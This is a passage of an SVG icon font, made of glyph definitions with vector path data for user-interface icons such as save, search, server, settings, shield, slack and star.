6.89551 2.43494 14.208q0 17.6652 -12.5022 30.1674t-30.1674 12.5022q-12.4963 0 -24.285 -8.33926q-11.7888 -8.33926 -15.9474 -20.1243z" /> <glyph glyph-name="save" unicode="" d="M341.333 725.333v-128h298.667q17.6613 -0.00268555 30.1607 -12.504t12.4995 -30.1627q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.5041h-341.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667h-42.6667q-17.664 0 -30.1653 -12.5014 q-12.5013 -12.5013 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h42.6667v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013h426.667q17.6639 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-298.667h42.6667 q17.664 0 30.1653 12.5013t12.5013 30.1653v451.669l-188.331 188.331zM682.667 42.6666v256h-341.333v-256zM810.667 -42.6667h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h469.333 q17.6717 -0.00372314 30.1653 -12.5013l213.333 -213.333q12.4975 -12.4937 12.5013 -30.1653v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.4955 -37.5044z" /> <glyph glyph-name="search" unicode="" d="M732.843 223.488l193.323 -193.28q12.5099 -12.5011 12.5099 -30.1867q0 -17.6676 -12.5038 -30.1715t-30.1714 -12.5039q-17.6678 0 -30.1653 12.4886l-193.323 193.323q-40.8846 -32.2248 -106.663 -55.0312q-65.778 -22.8064 -117.836 -22.8064 q-98.4638 0 -182.013 48.552q-83.5495 48.5519 -132.101 132.101t-48.5519 182.013q0 98.4638 48.5519 182.013q48.5519 83.5495 132.101 132.101q83.5495 48.552 182.013 48.552q98.4637 0 182.013 -48.552q83.5495 -48.5519 132.101 -132.101 q48.5519 -83.5494 48.5519 -182.013q0 -52.0576 -22.8065 -117.836q-22.8065 -65.778 -55.0298 -106.662zM448 170.667q114.816 0 196.075 81.2587q81.2587 81.2587 81.2587 196.075q0 114.816 -81.2587 196.075t-196.075 81.2587t-196.075 -81.2587 q-81.2587 -81.2587 -81.2587 -196.075q0 -114.816 81.2587 -196.075q81.2587 -81.2587 196.075 -81.2587z" /> <glyph glyph-name="server" unicode="" d="M128 725.419v-170.837l-0.00138092 -0.341309q0 -17.488 12.3767 -29.8643q12.3767 -12.3763 29.8647 -12.3757h683.52q17.3632 0 29.8016 12.5163t12.4384 30.0651v170.837l0.00140381 0.34137q0 17.4873 -12.3763 29.8636t-29.8637 12.3763h-0.00134277h-683.52 q-17.4706 -0.157471 -29.8469 -12.6338t-12.3932 -29.9476zM42.6667 725.419q0.0173569 52.7982 37.3963 90.2772q37.379 37.479 90.177 37.6375h683.52h0.000427246q52.8154 0 90.1944 -37.379q37.379 -37.379 37.379 -90.1943l-0.000488281 -0.34137v-170.837 q-0.017395 -52.7982 -37.3964 -90.2772t-90.1769 -37.6374h-683.52h-0.000457764q-52.8154 0 -90.1944 37.379q-37.379 37.379 -37.379 90.1943l0.000457764 0.34137zM128 213.419v-170.837l-0.00138092 -0.341331q0 -17.4879 12.3767 -29.8642 q12.3767 -12.3763 29.8647 -12.3758h683.52q17.3631 0 29.8015 12.5163q12.4385 12.5163 12.4385 30.065v170.837l0.00140381 0.341339q0 17.4874 -12.3764 29.8637q-12.3763 12.3763 -29.8636 12.3763h-0.00134277h-683.52q-17.4706 -0.15741 -29.8469 -12.6337 q-12.3763 -12.4763 -12.3932 -29.9476zM42.6667 213.419q0.0173683 52.7982 37.3964 90.2773q37.379 37.479 90.177 37.6374h683.52h0.000427246q52.8153 0 90.1943 -37.379t37.379 -90.1943l-0.000488281 -0.341339v-170.837q-0.017334 -52.7982 -37.3963 -90.2772 t-90.177 -37.6374h-683.52h-0.000457764q-52.8154 0 -90.1944 37.379q-37.379 37.379 -37.379 90.1944l0.000457764 0.341335zM298.667 128zM256 128v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076 q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076zM298.667 640zM256 640v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653 t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076z" /> <glyph glyph-name="scissors" unicode="" d="M298.667 469.333q-70.656 0 -120.661 50.0053q-50.0053 50.0054 -50.0053 120.661q0 70.6561 50.0053 120.661q50.0053 50.0053 120.661 50.0053t120.661 -50.0053t50.0053 -120.661q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM298.667 554.667 q35.328 0 60.3307 25.0026q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027zM298.667 -42.6667q-70.656 0 -120.661 50.0053q-50.005 50.0053 -50.0053 120.661 q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0054q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661q0 -70.656 -50.0053 -120.661t-120.661 -50.0054zM298.667 42.6667q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307 q0 35.328 -25.0027 60.3307t-60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027zM494.336 384l-135.381 135.381q-11.977 12.4007 -11.977 29.641q0 17.6639 12.5013 30.1653t30.1653 12.5014q17.2403 0 29.641 -11.977 l135.381 -135.381l311.168 311.168q12.4007 11.977 29.641 11.977q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411l-506.88 -506.88q-12.5805 -13.0257 -30.6896 -13.0257q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.109 13.0257 30.6897 zM629.931 247.979q-12.0207 12.4093 -12.0207 29.6862q0 17.664 12.5013 30.1653t30.1653 12.5013q17.2066 0 29.5994 -11.9369l235.947 -235.52q12.0207 -12.4093 12.0207 -29.6862q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013 q-17.2066 0 -29.5994 11.9368z" /> <glyph glyph-name="share-" unicode="" d="M768 512h-0.0130615q-70.656 0 -120.661 50.0054q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661t120.661 50.0053h0.0130615q70.6505 -0.00537109 120.652 -50.0107q50.0015 -50.0054 50.0015 -120.656t-50.0015 -120.656t-120.652 -50.01zM768 597.333 q35.3281 0 60.3307 25.0026t25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3306t25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027zM256 213.333q-70.656 0 -120.661 50.0053 q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM256 298.667q35.328 0 60.3307 25.0027 t25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027zM768 -85.3333h-0.0130615q-70.6561 0 -120.661 50.0053t-50.0053 120.661q0 70.656 50.0053 120.661 q50.0054 50.0053 120.661 50.0053h0.0130615q70.6506 -0.00541687 120.652 -50.0108t50.0015 -120.656q0 -70.6506 -50.0015 -120.656q-50.0015 -50.0054 -120.652 -50.0098zM768 -2.87646e-06q35.328 0 60.3307 25.0027q25.0026 25.0027 25.0026 60.3307 q0 35.328 -25.0026 60.3307q-25.0026 25.0027 -60.3307 25.0027q-35.328 0 -60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3307q0 -35.328 25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0027v-7.62939e-06v1.53914e-05zM345.045 282.709 q-9.11859 5.04041 -15.5722 15.9815q-6.45355 10.9411 -6.45355 21.3601q0 17.664 12.5013 30.1653q12.5014 12.5013 30.1653 12.5013q12.0259 0 22.2817 -6.28027l291.413 -169.813q9.11865 -5.04042 15.5722 -15.9815q6.45355 -10.9411 6.45355 -21.3601 q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-12.0259 0 -22.2817 6.28028zM635.989 655.104q9.96606 5.8136 21.504 5.8136q17.6686 0 30.173 -12.5045q12.5045 -12.5046 12.5045 -30.1731q0 -10.1483 -6.20386 -20.9495q-6.2038 -10.8011 -14.9697 -15.9146 l-290.987 -169.813q-9.96616 -5.8136 -21.504 -5.8136q-17.6685 0 -30.173 12.5045t-12.5045 30.1731q0 10.1483 6.20383 20.9494q6.20386 10.8011 14.9698 15.9146z" /> <glyph glyph-name="share" unicode="" d="M128 384v-341.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h512q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v341.333q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994 t-12.504 -30.1607v-341.333q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-512q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q-0.00267029 17.6613 -12.504 30.1607t-30.1626 12.4994t-30.1626 -12.4994 q-12.5013 -12.4994 -12.5042 -30.1607zM652.501 609.835q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-170.667 170.667q-12.496 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667 q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501zM469.333 810.667v-554.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v554.667q0 17.664 -12.5013 30.1653 t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="shield" unicode="" d="M531.072 -80.8107q-9.00507 -4.49989 -19.072 -4.49989q-10.0668 0 -19.072 4.49989q-29.1624 15.0562 -56.8747 32.64q-65.0429 40.4468 -122.837 90.7093q-185.216 162.193 -185.216 341.461v341.333q0.000350952 13.7844 9.46388 25.9107t22.8348 15.476 l341.333 85.3333q5.10522 1.27887 10.368 1.27887q5.26288 0 10.368 -1.27887l341.333 -85.3333q13.3713 -3.34961 22.8348 -15.4759q9.46344 -12.1263 9.46387 -25.9108v-341.333q0 -179.337 -185.216 -341.461q-57.7944 -50.2626 -122.837 -90.7093 q-27.7123 -17.5838 -56.8746 -32.64zM542.72 24.1493q59.2115 36.8618 111.829 82.6453q156.117 136.543 156.117 277.205v308.053l-298.667 74.6667l-298.667 -74.6667v-308.053q0 -140.662 156.117 -277.205q66.2069 -57.6309 142.549 -100.949 q15.9467 9.09153 30.72 18.3467z" /> <glyph glyph-name="settings" unicode="" d="M512 213.333q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM512 298.667 q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026zM272.768 680.235l-2.56 2.56q-12.5127 12.5126 -30.208 12.5126 q-17.6863 0 -30.2034 -12.5171q-12.5171 -12.5172 -12.5171 -30.2035q0 -17.6955 12.5126 -30.208l2.90134 -2.90131q24.092 -24.633 30.5387 -58.5707t-6.90134 -63.6266q-11.1421 -30.1269 -41.7579 -51.8167q-30.6158 -21.6898 -62.7328 -22.21h-3.84 q-17.6613 -0.00274658 -30.1607 -12.5041t-12.4994 -30.1626q0 -17.6613 12.4994 -30.1626t30.1607 -12.5041h7.424q30.603 -0.101257 60.8562 -20.0534q30.2532 -19.9521 42.3971 -48.0426q9.60489 -21.8094 9.60489 -45.64q0 -19.1951 -9.52745 -42.464 q-9.52744 -23.2689 -22.9894 -36.952l-2.56 -2.56q-12.5126 -12.5126 -12.5126 -30.208q0 -17.6863 12.5171 -30.2034t30.2034 -12.5171q17.6954 0 30.208 12.5126l2.90134 2.90134q24.633 24.092 58.5707 30.5387t63.6266 -6.90133q30.1269 -11.1421 51.8167 -41.7579 q21.6898 -30.6158 22.21 -62.7328v-3.83998q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v7.424q0.101257 30.603 20.0533 60.8562q19.9521 30.2532 48.0427 42.3971q21.8093 9.60488 45.64 9.60488 q19.1951 0 42.4639 -9.52746q23.2689 -9.52746 36.9521 -22.9894l2.56 -2.56q12.5126 -12.5126 30.208 -12.5126q17.6863 0 30.2034 12.5171q12.5172 12.5171 12.5172 30.2034q0 17.6954 -12.5126 30.208l-2.90131 2.90134q-13.347 13.6449 -22.793 36.8104 q-9.44611 23.1654 -9.44611 42.2528q0 23.8405 9.62579 45.6515q12.1791 28.1331 42.4948 48.0852q30.3157 19.9521 60.9719 20.0108h3.84003q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-7.42401q-30.7292 0.124054 -61.045 20.2012 q-30.3157 20.0771 -42.4217 48.3215l-3.45599 8.064v4.26666q-5.95844 17.638 -5.95844 36.2552q0 19.2059 9.53418 42.4868q9.53418 23.2809 23.0056 36.9699l2.56 2.56q12.5126 12.5126 12.5126 30.208q0 17.6863 -12.5172 30.2034t-30.2034 12.5172 q-17.6954 0 -30.208 -12.5126l-2.90131 -2.90131q-13.6296 -13.3555 -36.7808 -22.8075t-42.2335 -9.45203q-23.6284 0 -45.2737 9.47552q-28.283 12.1311 -48.3602 42.4968t-20.1625 61.1404v3.84003q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013 t-12.5013 -30.1653v-7.42401q-0.124023 -30.7292 -20.2011 -61.0449q-20.0771 -30.3157 -48.3215 -42.4218l-8.064 -3.45599h-4.26666q-17.6379 -5.95844 -36.2552 -5.95844q-19.206 0 -42.4868 9.53424q-23.2808 9.53418 -36.9704 23.0057zM888.747 512h7.25336 q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-3.66931q-7.54022 -0.0286102 -14.9786 -4.95416q-7.43835 -4.92554 -10.4081 -11.8565q-2.55127 -5.52925 -2.55127 -11.619q0 -11.0389 7.58594 -19.0583l2.56 -2.56q15.5259 -15.5259 26.5141 -42.0538 q10.9882 -26.5278 10.9882 -48.4849q0 -53.009 -37.516 -90.525q-37.5159 -37.516 -90.525 -37.516q-21.957 0 -48.4849 10.9882q-26.5279 10.9882 -42.0538 26.5142l-2.21869 2.21867q-8.12122 7.88986 -19.444 7.88986q-6.0603 0 -11.5747 -2.51386 q-6.89246 -2.94462 -11.818 -10.3329q-4.92548 -7.38829 -4.99268 -14.8831v-7.25333q0 -52.992 -37.504 -90.496t-90.496 -37.504q-52.992 0 -90.496 37.504t-37.504 90.496q0.0128784 0.437507 0.0128784 0.875414q0 8.98622 -6.05441 17.2931 q-6.05441 8.30692 -14.6091 11.0581q-5.36304 2.38931 -11.2342 2.38931q-11.0248 0 -19.0165 -7.59465l-2.56 -2.56q-15.5259 -15.526 -42.0538 -26.5142q-26.5278 -10.9882 -48.4849 -10.9882q-53.009 0 -90.525 37.516q-37.516 37.516 -37.516 90.525 q0 21.957 10.9882 48.4849q10.9882 26.5278 26.5142 42.0538l2.21866 2.21866q7.88986 8.12123 7.88986 19.444q0 6.06033 -2.51385 11.5747q-2.9446 6.89246 -10.3329 11.818q-7.38831 4.92552 -14.8831 4.99269h-7.25333q-52.992 0 -90.496 37.504t-37.504 90.496 t37.504 90.496t90.496 37.504q0.438354 -0.0128784 0.875412 -0.0128784q8.98619 0 17.2931 6.05435q8.30693 6.05444 11.0581 14.6092q2.38931 5.36304 2.38931 11.2342q0 11.0248 -7.59465 19.0165l-2.56 2.56q-15.526 15.5261 -26.5142 42.0539t-10.9882 48.4848 q0 53.009 37.516 90.525q37.516 37.516 90.525 37.516q21.9571 0 48.4849 -10.9882t42.0538 -26.5142l2.21866 -2.21869q8.08423 -7.9082 19.3933 -7.9082q5.84818 0 11.1987 2.36151l8.23468 3.62665q12.416 7.33124 12.416 21.7501v0.00994873v7.25336q0 53 37.5 90.5 t90.5 37.5q53 0 90.5 -37.5t37.5 -90.5v-3.66931q0.0699463 -18.1931 17.2373 -25.6q5.34985 -2.37573 11.2036 -2.37573q11.0493 0 19.0471 7.62372l2.56 2.56q15.5261 15.526 42.0538 26.5142t48.4849 10.9882q53.009 0 90.525 -37.516t37.516 -90.525 q0 -21.9571 -10.9882 -48.4849q-10.9882 -26.5278 -26.5141 -42.0538l-2.21869 -2.21869q-7.9082 -8.08423 -7.9082 -19.3934q0 -5.84821 2.36151 -11.1986l3.62665 -8.23468q7.63647 -12.3457 21.7601 -12.4161z" /> <glyph glyph-name="skip-back" unicode="" d="M768 636.587l-315.733 -252.587l315.733 -252.587v505.174zM784 9.38667l-426.667 341.333q-15.9667 12.8098 -15.9667 33.28t15.9667 33.28l426.667 341.333q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1544 -12.4935q12.5013 -12.4936 12.5123 -30.1465v-682.667 q-0.0109863 -17.653 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.9759 0 -26.6666 9.36004zM256 85.3333v597.333v0.00653076q0 17.6639 -12.5013 30.1653t-30.1653 12.5014t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333 q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1606z" /> <glyph glyph-name="shuffle" unicode="" d="M853.333 554.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-213.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h170.667z M200.832 12.5013l725.333 725.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-725.333 -725.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013 q17.2403 0 29.6411 11.977zM682.667 42.6667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h213.333q17.664 0 30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013 q-12.5013 -12.5014 -12.5013 -30.1653v-170.667zM609.835 225.835l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653 q0 -17.2403 11.977 -29.641zM140.501 695.168l213.333 -213.333q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1092 -13.0257 30.6897l-213.333 213.333q-12.4008 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013 q-12.5013 -12.5014 -12.5013 -30.1653q0 -17.2403 11.977 -29.6412z" /> <glyph glyph-name="sidebar" unicode="" d="M85.3333 682.88q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM341.333 725.333 h-128.213q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h128.213zM426.667 725.333v-682.667h384.213q17.6 0 30.0267 12.4267t12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388z" /> <glyph glyph-name="skip-forward" unicode="" d="M256 131.413l315.733 252.587l-315.733 252.587zM240 758.613l426.667 -341.333q15.9667 -12.8098 15.9667 -33.28q0 -20.4702 -15.9667 -33.28l-426.667 -341.333q-11.6907 -9.36003 -26.6667 -9.36003q-17.653 0 -30.1543 12.4935q-12.5013 12.4935 -12.5123 30.1465 v682.667q0.0110168 17.653 12.5124 30.1465t30.1543 12.4935q14.976 0 26.6666 -9.36096zM768 682.667v-597.333q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994t30.1626 12.4994t12.504 30.1607v597.333q-0.00268555 17.6613 -12.504 30.1607 q-12.5013 12.4995 -30.1627 12.4995q-17.6613 0 -30.1626 -12.4995q-12.5013 -12.4994 -12.504 -30.1607z" /> <glyph glyph-name="slack" unicode="" d="M983.272 524.026q39.3366 -130.641 40.8965 -226.129q1.55981 -95.4883 -38.4744 -169.334q-40.0341 -73.8462 -121.044 -125.18t-212.316 -90.8522q-130.69 -39.3368 -226.218 -40.9043q-95.5279 -1.56752 -169.411 38.4499q-73.8829 40.0174 -125.249 121.004 t-90.9167 212.26q-39.3366 130.657 -40.8968 226.155q-1.56025 95.4974 38.4749 169.352q40.0351 73.8546 121.043 125.197q81.0079 51.3425 212.316 90.8777q131.158 39.4739 226.712 41.1922q95.554 1.71826 169.416 -38.2278q73.8615 -39.946 125.052 -121.033 t90.6155 -212.828zM901.455 499.498q-27.6764 92.5563 -58.829 153.044q-31.1527 60.4882 -71.2796 99.176t-94.3437 51.0646q-54.2167 12.3767 -121.547 5.22357q-67.3304 -7.15314 -159.364 -34.8604q-92.2299 -27.7607 -152.646 -59.0255 q-60.4156 -31.2649 -99.0974 -71.4949t-51.1834 -94.3938q-12.5016 -54.1638 -5.45212 -121.414q7.0495 -67.2507 34.645 -158.865q27.7738 -92.2038 59.0515 -152.604q31.2777 -60.4004 71.5228 -99.0746t94.426 -51.1769q54.1808 -12.5028 121.453 -5.46003 q67.2719 7.04272 158.911 34.6249q92.2337 27.7749 152.646 59.0426q60.4122 31.2677 99.0964 71.4986t51.1843 94.3949q12.5001 54.164 5.45123 121.418t-34.645 158.882zM495.867 626.618l152.714 -443.638q4.09692 -11.9254 15.9207 -20.3654 q11.8237 -8.43999 24.4333 -8.43999q17.665 0 30.1671 12.502q12.502 12.502 12.502 30.1671q0 7.12502 -2.31506 13.8637l-152.714 443.639q-4.09705 11.9255 -15.9207 20.3655q-11.8237 8.43988 -24.4333 8.43988q-17.665 0 -30.1671 -12.502t-12.502 -30.1671 q0 -7.12512 2.31506 -13.8646zM294.523 557.512l152.714 -443.638q4.09695 -11.9254 15.9207 -20.3654t24.4333 -8.43998q17.665 0 30.1671 12.502q12.502 12.502 12.502 30.1671q0 7.12522 -2.315 13.8637l-152.714 443.639q-4.09702 11.9255 -15.9207 20.3654 q-11.8237 8.43994 -24.4333 8.43994q-17.665 0 -30.1671 -12.502t-12.502 -30.1671q0 -7.12512 2.31503 -13.8646zM685.309 601.492l-443.638 -152.714q-11.9254 -4.09698 -20.3654 -15.9207q-8.43999 -11.8238 -8.43999 -24.4333q0 -17.665 12.502 -30.1671 t30.1671 -12.502q7.12515 0 13.8637 2.31506l443.639 152.714q11.9255 4.09698 20.3654 15.9207t8.43994 24.4333q0 17.665 -12.502 30.1671t-30.1671 12.502q-7.125 0 -13.8646 -2.31512zM754.414 400.149l-443.639 -152.714q-11.9254 -4.09697 -20.3654 -15.9207 t-8.43997 -24.4333q0 -17.665 12.502 -30.1671t30.1671 -12.502q7.12515 0 13.8637 2.31505l443.639 152.714q11.9255 4.09702 20.3654 15.9207q8.43994 11.8237 8.43994 24.4333q0 17.665 -12.502 30.1671q-12.502 12.502 -30.1671 12.502q-7.12512 0 -13.8637 -2.31503z " /> <glyph glyph-name="slash" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM751.701 83.968l-539.733 539.733 q-34.8313 -43.5439 -59.4825 -113.825q-24.6512 -70.281 -24.6512 -126.042q0 -104.256 51.408 -192.72q51.4079 -88.4642 139.872 -139.872q88.4642 -51.4079 192.72 -51.4079q55.761 0 126.042 24.6512q70.281 24.6512 113.825 59.4827zM272.299 684.032l539.733 -539.733 q34.8314 43.5439 59.4825 113.825q24.6511 70.281 24.6511 126.042q0 104.256 -51.408 192.72q-51.408 88.4641 -139.872 139.872q-88.4641 51.408 -192.72 51.4079q-55.761 0 -126.042 -24.6511t-113.825 -59.4828z" /> <glyph glyph-name="smartphone" unicode="" d="M256 725.76v-683.52q0 -17.3182 12.6167 -29.7791q12.6167 -12.4609 30.306 -12.4609h426.155l0.342712 -0.00137901q17.4885 0 29.9644 12.3767q12.4759 12.3767 12.6155 29.8647v683.52q0 17.3182 -12.6167 29.7791q-12.6166 12.4609 -30.306 12.4609h-426.155 l-0.342682 0.00140381q-17.4885 0 -29.9644 -12.3766q-12.4759 -12.3767 -12.6155 -29.8648zM170.667 725.76q0.140747 52.8155 37.6196 90.1946q37.4789 37.3792 90.2946 37.3792l0.341797 -0.000488281h426.155l0.129211 6.10352e-05q52.8158 0 90.357 -37.379 q37.5412 -37.3791 37.7698 -90.1943v-683.52q-0.140808 -52.8155 -37.6197 -90.1946q-37.4788 -37.3791 -90.2945 -37.3791l-0.341797 0.000450134h-426.155l-0.129211 -6.86646e-05q-52.8159 0 -90.357 37.379q-37.5412 37.379 -37.7698 90.1944zM512 128zM469.333 128 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="square" unicode="" d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88 q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452z" /> <glyph glyph-name="speaker" unicode="" d="M213.333 725.76v-683.52q0 -17.3573 12.476 -29.7986t29.9347 -12.4414h512.512l0.000366211 -1.39062e-09q17.4875 0 29.9137 12.3763q12.4263 12.3763 12.4966 29.8637v683.52q-0.122375 17.4354 -12.5487 29.8116q-12.4263 12.3762 -29.8619 12.4283h-512.512 h-0.000350952q-17.4875 0 -29.9137 -12.3763t-12.4967 -29.8636zM128 725.76q0.0705719 52.8154 37.4995 90.1944q37.429 37.379 90.2445 37.3789h512.512q52.7628 -0.0526123 90.1918 -37.4316t37.5522 -90.1417v-683.52q-0.0705566 -52.8154 -37.4995 -90.1944 q-37.429 -37.379 -90.2445 -37.3789h-512.512q-52.7628 0.0526733 -90.1918 37.4317q-37.429 37.379 -37.5522 90.1417zM512 640zM469.333 640q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013 t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM512 85.3333q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3201 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827 t-62.5067 -150.827t-150.827 -62.5067zM512 170.667q52.9919 0 90.496 37.504t37.504 90.496q0 52.992 -37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" /> <glyph glyph-name="star" unicode="" d="M418.432 525.056q-4.10452 -8.31909 -13.5056 -15.1573q-9.401 -6.83823 -18.5798 -8.18137l-209.365 -30.5493l151.467 -147.371q16.0474 -15.5714 12.288 -37.7173l-35.7547 -208.085l187.179 98.304q9.31656 4.89342 19.84 4.89342q10.5235 0 19.84 -4.89342 l187.179 -98.304l-35.7546 208.085q-0.61084 3.5675 -0.61084 7.18668q0 17.9902 12.8989 30.5307l151.467 147.371l-209.365 30.5493q-9.17877 1.34308 -18.5798 8.18137q-9.40106 6.83829 -13.5056 15.1573l-93.5681 189.355zM473.728 829.568 q4.85693 9.85602 16.0706 16.8314q11.2137 6.97534 22.2014 6.97534q10.9877 0 22.2014 -6.97534q11.2137 -6.97528 16.0706 